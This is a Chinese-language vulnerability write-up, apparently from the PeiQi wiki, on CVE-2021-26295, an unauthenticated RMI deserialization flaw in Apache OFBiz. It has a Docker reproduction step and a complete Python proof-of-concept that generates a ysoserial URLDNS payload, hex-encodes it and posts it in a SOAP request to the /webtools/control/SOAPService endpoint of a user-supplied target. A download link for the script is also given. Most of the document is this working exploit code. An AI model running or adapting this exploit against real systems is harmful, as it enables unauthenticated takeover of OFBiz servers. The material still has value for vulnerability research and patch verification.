# Apache OFBiz RMI反序列化漏洞 CVE-2021-26295

## 漏洞描述
OFBiz是基于Java的Web框架，包括实体引擎，服务引擎和基于小部件的UI。
近日，Apache OFBiz官方发布安全更新。Apache OFBiz 存在RMI反序列化前台命令执行，未经身份验证的攻击者可以使用此漏洞来成功接管Apache OFBiz，建议相关用户尽快测试漏洞修复的版本并及时升级。

## 漏洞影响
Apache OFBiz < 17.12.06

## 漏洞复现
Docker安装环境

```bash
docker run -d -p 8000:8080 -p 8443:8443  opensourceknight/ofbiz
```
![](resource/(CVE-2021-26295)Apache-OFBiz-RMI反序列化漏洞/media/1.png)

使用POC验证Dnslog响应
![](resource/(CVE-2021-26295)Apache-OFBiz-RMI反序列化漏洞/media/2.png)

## 漏洞POC

```bash
下载地址 http://peiqi.tech/shentou/CVE-2021-26295.zip
POC参考了网上公开的几位师傅的脚本
```

```python
import requests
import sys
import sys
import subprocess
import binascii
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号  : PeiQi文库                                                   \033[0m')
    print('+  \033[34mVersion: Apache OFBiz                                            \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+  \033[36mDnslog      >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def trans(s):
    return "%s" % ''.join('%.2x' % x for x in s)

def POC_1(target_url, Dnslog):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', "URLDNS", Dnslog], stdout=subprocess.PIPE)
    data = popen.stdout.read()
    hex_data = trans(data)
    headers = {
        'Content-Type': 'text/xml'
    }
    post_data = '''<?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><peiqi:clearAllEntityCaches xmlns:peiqi="http://ofbiz.apache.org/service/"><peiqi:cus-obj>%s</peiqi:cus-obj></peiqi:clearAllEntityCaches></soapenv:Body></soapenv:Envelope>''' % hex_data
    vuln_url = target_url + "/webtools/control/SOAPService"
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=post_data, headers=headers, verify=False, timeout=5)
        print("\033[36m[o] 正在请求 {}/webtools/control/SOAPService..... \033[0m".format(target_url))
        if response.status_code == 200:
            print("\033[36m[o] 请检查 Dnslog 响应\n \033[0m")
        else:
            print("\033[31m[x] 请求失败 \033[0m")
            sys.exit(0)

    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m")


if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    Dnslog = str(input("\033[35mDnslog >>> \033[0m"))
    POC_1(target_url, Dnslog)
```